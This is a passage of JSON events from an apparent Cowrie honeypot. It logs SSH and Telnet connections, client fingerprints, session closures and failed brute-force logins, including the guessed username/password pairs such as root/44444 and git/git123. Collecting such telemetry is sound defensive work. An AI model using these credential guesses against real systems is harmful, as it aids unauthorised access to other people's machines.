],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:19.566749Z","src_ip":"103.176.20.57","session":"f66494295d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47254,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a15998e51b0","protocol":"telnet","message":"New connection: 192.119.13.58:47254 (10.17.0.5:23) [session: 4a15998e51b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:19.732455Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"44444","message":"login attempt [root/44444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:20.333211Z","src_ip":"103.176.20.57","session":"f66494295d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:21.586570Z","src_ip":"103.176.20.57","session":"f66494295d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33036,"dst_ip":"10.17.0.5","dst_port":23,"session":"22eed6c2471f","protocol":"telnet","message":"New connection: 192.119.13.58:33036 (10.17.0.5:23) [session: 22eed6c2471f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:22.281704Z"}
{"eventid":"cowrie.session.closed","duration":47.222315311431885,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:23.306912Z","src_ip":"192.119.13.58","session":"487367fd3d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.584019660949707,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:25.016477Z","src_ip":"192.119.13.58","session":"3c6ace106187","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45022,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c92ece8b35c","protocol":"telnet","message":"New connection: 192.119.13.58:45022 (10.17.0.5:23) [session: 6c92ece8b35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:25.213776Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37962,"dst_ip":"10.17.0.5","dst_port":23,"session":"08625d6cd9d5","protocol":"telnet","message":"New connection: 192.119.13.58:37962 (10.17.0.5:23) [session: 08625d6cd9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:30.463756Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43976,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a0fcda4c26e","protocol":"ssh","message":"New connection: 103.27.238.116:43976 (159.203.135.109:22) [session: 0a0fcda4c26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:32.117862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:32.122356Z","src_ip":"103.27.238.116","session":"0a0fcda4c26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:32.387806Z","src_ip":"103.27.238.116","session":"0a0fcda4c26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1234","message":"login attempt [root/dima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:33.184786Z","src_ip":"103.27.238.116","session":"0a0fcda4c26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:34.453603Z","src_ip":"103.27.238.116","session":"0a0fcda4c26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24486207962036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:36.213185Z","src_ip":"192.119.13.58","session":"68fc1476a041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33824,"dst_ip":"10.17.0.5","dst_port":23,"session":"a483cb8c6597","protocol":"telnet","message":"New connection: 192.119.13.58:33824 (10.17.0.5:23) [session: a483cb8c6597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:43.056777Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53836,"dst_ip":"10.17.0.5","dst_port":23,"session":"21affe46bec5","protocol":"telnet","message":"New connection: 192.119.13.58:53836 (10.17.0.5:23) [session: 21affe46bec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:48.085338Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41190,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ce549713e4","protocol":"telnet","message":"New connection: 192.119.13.58:41190 (10.17.0.5:23) [session: a6ce549713e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:51.804085Z"}
{"eventid":"cowrie.session.closed","duration":42.240694522857666,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:55.163051Z","src_ip":"192.119.13.58","session":"9c17f9304eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.052850008010864,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:56.785195Z","src_ip":"192.119.13.58","session":"4a15998e51b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44050,"dst_ip":"10.17.0.5","dst_port":23,"session":"da84171b3773","protocol":"telnet","message":"New connection: 192.119.13.58:44050 (10.17.0.5:23) [session: da84171b3773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:17:59.362408Z"}
{"eventid":"cowrie.session.closed","duration":40.01223182678223,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:02.293641Z","src_ip":"192.119.13.58","session":"22eed6c2471f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.91103982925415,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:08.682563Z","src_ip":"192.119.13.58","session":"e5d377eb1a7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.83774733543396,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:12.051400Z","src_ip":"192.119.13.58","session":"6c92ece8b35c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41614,"dst_ip":"10.17.0.5","dst_port":23,"session":"7914044e9e8d","protocol":"telnet","message":"New connection: 192.119.13.58:41614 (10.17.0.5:23) [session: 7914044e9e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:12.924396Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":17798,"dst_ip":"159.203.135.109","dst_port":22,"session":"c653f749fed4","protocol":"ssh","message":"New connection: 103.24.63.85:17798 (159.203.135.109:22) [session: c653f749fed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:15.321260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:15.350900Z","src_ip":"103.24.63.85","session":"c653f749fed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:15.605368Z","src_ip":"103.24.63.85","session":"c653f749fed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:16.381418Z","src_ip":"103.24.63.85","session":"c653f749fed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:17.579691Z","src_ip":"103.24.63.85","session":"c653f749fed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.27539396286011,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:21.739048Z","src_ip":"192.119.13.58","session":"08625d6cd9d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.78251624107361,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:21.839172Z","src_ip":"192.119.13.58","session":"a483cb8c6597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.109.207","src_port":45926,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b8b281f3230","protocol":"ssh","message":"New connection: 94.159.109.207:45926 (10.17.0.5:22) [session: 8b8b281f3230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:22.492455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:22.497475Z","src_ip":"94.159.109.207","session":"8b8b281f3230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:22.621996Z","src_ip":"94.159.109.207","session":"8b8b281f3230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsed123","message":"login attempt [root/qawsed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:22.995731Z","src_ip":"94.159.109.207","session":"8b8b281f3230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:24.122669Z","src_ip":"94.159.109.207","session":"8b8b281f3230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.07938241958618,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:30.883275Z","src_ip":"192.119.13.58","session":"a6ce549713e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":59238,"dst_ip":"159.203.135.109","dst_port":22,"session":"15584b7cd715","protocol":"ssh","message":"New connection: 147.45.197.250:59238 (159.203.135.109:22) [session: 15584b7cd715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:31.362503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:31.367386Z","src_ip":"147.45.197.250","session":"15584b7cd715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:31.459516Z","src_ip":"147.45.197.250","session":"15584b7cd715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.38292098045349,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:31.468129Z","src_ip":"192.119.13.58","session":"21affe46bec5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"t64321t","message":"login attempt [root/t64321t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:31.734408Z","src_ip":"147.45.197.250","session":"15584b7cd715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:32.829356Z","src_ip":"147.45.197.250","session":"15584b7cd715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.08265018463135,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:37.444947Z","src_ip":"192.119.13.58","session":"da84171b3773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59650,"dst_ip":"10.17.0.5","dst_port":23,"session":"fde2ce22a6ac","protocol":"telnet","message":"New connection: 192.119.13.58:59650 (10.17.0.5:23) [session: fde2ce22a6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:37.963382Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54816,"dst_ip":"10.17.0.5","dst_port":23,"session":"894f87a15d85","protocol":"telnet","message":"New connection: 192.119.13.58:54816 (10.17.0.5:23) [session: 894f87a15d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:43.784838Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":28439,"dst_ip":"159.203.135.109","dst_port":22,"session":"1784757da289","protocol":"ssh","message":"New connection: 103.24.63.85:28439 (159.203.135.109:22) [session: 1784757da289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:46.031532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:46.036519Z","src_ip":"103.24.63.85","session":"1784757da289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43300,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ac62c0b00bf","protocol":"ssh","message":"New connection: 103.82.132.16:43300 (159.203.135.109:22) [session: 1ac62c0b00bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:46.146869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:46.151590Z","src_ip":"103.82.132.16","session":"1ac62c0b00bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:46.231437Z","src_ip":"103.24.63.85","session":"1784757da289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:46.416199Z","src_ip":"103.82.132.16","session":"1ac62c0b00bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:18:46.813374Z","src_ip":"103.24.63.85","session":"1784757da289","protocol":"ssh"}
